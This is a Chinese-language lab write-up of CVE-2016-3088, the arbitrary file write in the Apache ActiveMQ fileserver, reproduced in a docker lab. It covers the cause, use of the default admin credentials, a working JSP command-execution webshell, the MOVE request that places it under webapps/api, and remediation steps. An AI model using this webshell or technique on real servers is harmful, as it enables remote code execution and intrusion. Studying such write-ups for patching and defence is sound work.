CVE-2016-3088(ActiveMQ任意文件写入漏洞)
ActiveMQ任意文件写入漏洞
漏洞描述
- 漏洞编号:CVE-2016-3088
- 影响版本:Apache ActiveMQ 5.x~5.14.0
https://www.cvedetails.com/cve/CVE-2016-3088/
3.漏洞产生原因:ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
启动环境:docker-compose up -d
vulnIP:192.168.1.104
hackIP:192.168.1.102
访问` http://192.168.1.104:8161` 看到web页面,说明环境已成功运行。
漏洞发现
查看版本信息
http://host:8161/admin/index.jsp?printable=true
漏洞利用
默认的ActiveMQ账号密码均为`admin`,首先访问`http://192.168.1.104:8161/admin/test/systemProperties.jsp`,查看ActiveMQ的绝对路径:
然后上传webshell:
<%@ page import="java.io.*"%> <% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); } %>
移动到web目录下的api文件夹(`/opt/activemq/webapps/api/s.jsp`)中:
Destination:file:///opt/activemq/webapps/api/5.jsp
到网站上进行查看有没有
需要登录:
问题汇总
fileserver不解析jsp,admin和api两个应用都需要登录才能访问
修复方案
1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。
2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能
3、打补丁
http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt
4、电脑管家等修复漏洞工具
注:漏洞影响
在 ZoomEye 上用 日期 和 ActiveMQ 作为关键词检索,分别探测了2015年1月1日(漏洞爆发前一年)和2017年1月1日(漏洞爆发后一年)互联网上 ActiveMQ 的总量情况,如下。
可以看到,ActiveMQ的数量在漏洞爆发前后有很大幅度的减少,从这我们大致可以猜测漏洞爆发后很多ActiveMQ的Web服务限制了来自公网的访问。
2021-01-02 14:00:51